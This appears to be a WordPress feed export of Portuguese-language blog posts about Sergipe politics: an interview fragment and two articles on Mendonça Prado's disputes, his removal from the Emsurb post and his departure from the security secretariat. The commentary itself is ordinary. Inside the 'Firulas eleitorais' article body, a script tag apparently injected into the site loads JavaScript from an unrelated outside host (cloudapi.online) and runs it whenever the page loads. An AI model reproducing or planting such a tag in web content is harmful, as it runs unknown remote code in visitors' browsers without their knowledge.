<p style="text-align: justify;"><strong>MP-</strong> Confesso que isso eu nunca imaginei. Isso faz parte de um processo que a cada dia nos surpreende, essa velocidade  com que o país está mudando. Quando surgiu esse fato das subvenções, ninguém imaginou que chegaria a esse ponto e eu também não. Mas, hoje estamos vendo que pode acontecer alguma coisa. Se você me perguntar, ‘ você se prepara para isso?’. Confesso que nunca me preparei, até porque eu estava aquém da velocidade dessa mudança. Eu era meio cético com relação isso. Achava que as coisas transcorreriam sem a velocidade que estamos discutindo aqui agora.  Mas pode realmente acontecer. É algo que nos surpreende.  Se a vaga surgir, eu vou. Até porque quem votou comigo o fez desejando que lá eu estivesse. Se surgir, vou assumir e procurar corresponder à expectativa do povo. Mas nunca fiz nenhum esforço para isso, a ação é do Ministério Público. Se alguém deixar de ser deputado, o deixará por seus próprios atos.  Quero que  isso fique claro porque, se um dia eu assumir, é uma circunstância da lei.</p>
<p style="text-align: justify;"><strong>SS – Mas continua sendo pré-candidato ao Governo de Sergipe?</strong></p>
<p style="text-align: justify;"><strong>MP – </strong>Continuo sendo candidato a governador. Até porque, se eu assumir como deputado federal será no final da prorrogação, talvez até na disputa de pênaltis.</p>
<p>&nbsp;</p>
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		<title>Firulas eleitorais</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Mon, 02 Oct 2017 12:13:28 +0000</pubDate>
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		<category><![CDATA[Artigos]]></category>
		<category><![CDATA[Edvaldo Nogueira]]></category>
		<category><![CDATA[eleitores]]></category>
		<category><![CDATA[Emsurb]]></category>
		<category><![CDATA[Mendonça Prado]]></category>
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					<description><![CDATA[<p>Na véspera de um ano eleitoral, não é de se estranhar que aqueles que desejam um mandato comecem a aparecer na mídia com frases de efeito para chamar a atenção. O ex-deputado federal Mendonça Prado entrou nessa fase e, em apenas uma semana, sua metralhadora disparou para todos os lados. O primeiro alvo foi o [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Na véspera de um ano eleitoral, não é de se estranhar que aqueles que desejam um mandato comecem a aparecer na mídia com frases de efeito para chamar a atenção. O ex-deputado federal Mendonça Prado entrou nessa fase e, em apenas uma semana, sua metralhadora disparou para todos os lados. O primeiro alvo foi o prefeito de Aracaju, Edvaldo Nogueira, que, no entendimento de Mendonça, não lhe deu a devida atenção quando a Justiça, em abril passado, o afastou do comando da Empresa Municipal de Serviços Urbanos (Emsurb). O segundo alvo foi  o delegado da Polícia Civil, Alessandro Vieira.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">O questionamento que se faz a respeito destes dois episódios é o seguinte: será que interessa ao eleitor saber que Mendonça acha que o prefeito Edvaldo Nogueira, “como homem, não chega à sola do sapato” dele? E se o povo preferir que Edvaldo ande descalço?  Por que o eleitor se incomodaria em tomar partido nessa contenda entre Mendonça e Alessandro Vieira?</p>
<p style="text-align: justify;">Na verdade, o eleitor quer mesmo é que Edvaldo cumpra o papel para o qual foi eleito pela maioria e não deixe Aracaju cheia de buracos parecendo uma tábua de pirulitos e não onere ainda mais a população com valores escorchantes do Imposto Predial e Territorial Urbano (IPTU). Se ele fizer o óbvio, já será de bom tamanho e o povo ficará satisfeito.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">Quanto a Mendonça Prado, o povo quer saber se ele tem alguma participação ilícita nessa tramoia investigada pela Polícia Civil que culminou com a Operação Babel e seu afastamento do cargo de dirigente da Emsurb.  Que lhe seja dado amplo direito de defesa, como manda a lei e que, no momento certo, seja dada toda publicidade quando da conclusão do processo, mostrando quem são os culpados e inocentes em mais um caso vergonhoso envolvendo empresários e entes públicos.</p>
<p style="text-align: justify;">O contribuinte quer é que o delegado  da Polícia Civil, Alessandro Vieira, muito bem pago com o nosso dinheiro (como o é também o prefeito Edvaldo Nogueira), honre a profissão que escolheu e, observando estritamente os limites da lei, peça a prisão de quem quer esteja, comprovadamente, envolvido em falcatruas.  Que isso valha para todos os operadores de segurança pública que, em sua maioria, dignificam a classe.</p>
<p style="text-align: justify;">O resto são firulas eleitorais para os sensacionalistas de plantão.</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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		<title>Mendonça dará coletiva nesta quarta, 17</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Tue, 16 Feb 2016 22:36:30 +0000</pubDate>
				<category><![CDATA[Antônio Carlos Garcia]]></category>
		<category><![CDATA[Política]]></category>
		<category><![CDATA[Maurício Iunes]]></category>
		<category><![CDATA[Mendonça Prado]]></category>
		<category><![CDATA[SSP]]></category>
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					<description><![CDATA[<p>O quase ex-secretário de Segurança Pública, Mendonça Prado, vai conceder amanhã, 17, às 8 horas da manhã, uma entrevista coletiva, quando explicará as razões da sua saída da pasta. Ele usou a sua página no facebook para anunciar que não é mais da segurança e, enquanto isso, pipocam as especulações em torno do nome do [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">O quase ex-secretário de Segurança Pública, Mendonça Prado, vai conceder amanhã, 17, às 8 horas da manhã, uma entrevista coletiva, quando explicará as razões da sua saída da pasta. Ele usou a sua página no facebook para anunciar que não é mais da segurança e, enquanto isso, pipocam as especulações em torno do nome do seu sucessor, a exemplo do delegado João Batista, que já foi adjunto na gestão de João Eloy. Durante algum tempo, inclusive, Batista assumiu a titularidade, quando nome de João Eloy esteve envolvido nas traquinagens do enteado que usou carro e armas da SSP para brincar de polícia.</p>
<p style="text-align: justify;">[box type=&#8221;shadow&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Desde o mês passado, que Mendonça Prado entrou em rota de colisão com o comandante geral da Polícia Militar, coronel Maurício Iunes, por causa do helicóptero da SSP. No dia 20 de janeiro, Mendonça, atendendo a um pedido do colega da Saúde, Zezinho Sobral, transferiu uma paciente de Aracaju para Maceió.  E fez isso, contrariando Iunes que não concordava com a viagem. Ou seja, apesar de ser subordinado de Mendonça, ele bateu pé firme e disse que o helicóptero não decolava. Mas decolou. E nessa guerra de poder,  quem voou mesmo foi o capitão Aristóteles, piloto do helicóptero. Assim que chegou em terra, foi avisado que não era mais piloto e que ia ser subcomandante de uma companhia. Detalhe: o piloto foi formado com o dinheiro do Estado.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">Depois que o desentendimento entre Mendonça e Iunes se tornou público, Mendonça admitiu as divergências. Para complicar, o policial civil Vírgilio Dantas, coordenador do GTA, disse que esse setor é ligado diretamente ao secretário de segurança, seja ele quem for, e não ao comandante da PM. E colocou mais lenha nessa fogueira de vaidades, ao questionar, em diversas entrevistas, se policial militar salva ou não salva vidas.</p>
<p style="text-align: justify;">Desde a conturbada relação, que Maurício Iunes, não dá uma palavra sobre assunto, nem mesmo dentro do quartel. Mas na reabertura dos trabalhos na Assembleia Legislativa, lá estavam Mendonça e Iunes entre sorrisos e poses para posteridade. Bem na saída.</p>
<p style="text-align: justify;">Bom, agora leia a carta de agradecimento de Mendonça Prado.</p>
<p style="text-align: justify;">[box type=&#8221;warning&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">Amigos,</p>
<p style="text-align: justify;">Informo que estou deixando a Secretaria de Segurança Pública de Sergipe. Portanto, quero agradecer a todos que fazem a SSP, profissionais altamente qualificados, que sempre serão destinatários do meu respeito e atenção especial. A todos os policiais civis, militares, bombeiros, peritos e demais servidores da segurança, os meus mais sinceros agradecimentos. Aproveito para convidar a todos para minha despedida e para uma entrevista coletiva de prestação de contas que concederei amanhã, 17 de fevereiro, às 08:00, nas futuras instalações do Instituto de Identificação de Sergipe, situado à Rua Basílio Rocha, Bairro Siqueira Campos, próximo à Praça dos Expedicionários.</p>
<p style="text-align: justify;">Um forte abraço a todos!<br />
Mendonça Prado</p>
<p style="text-align: justify;">[/box]</p>
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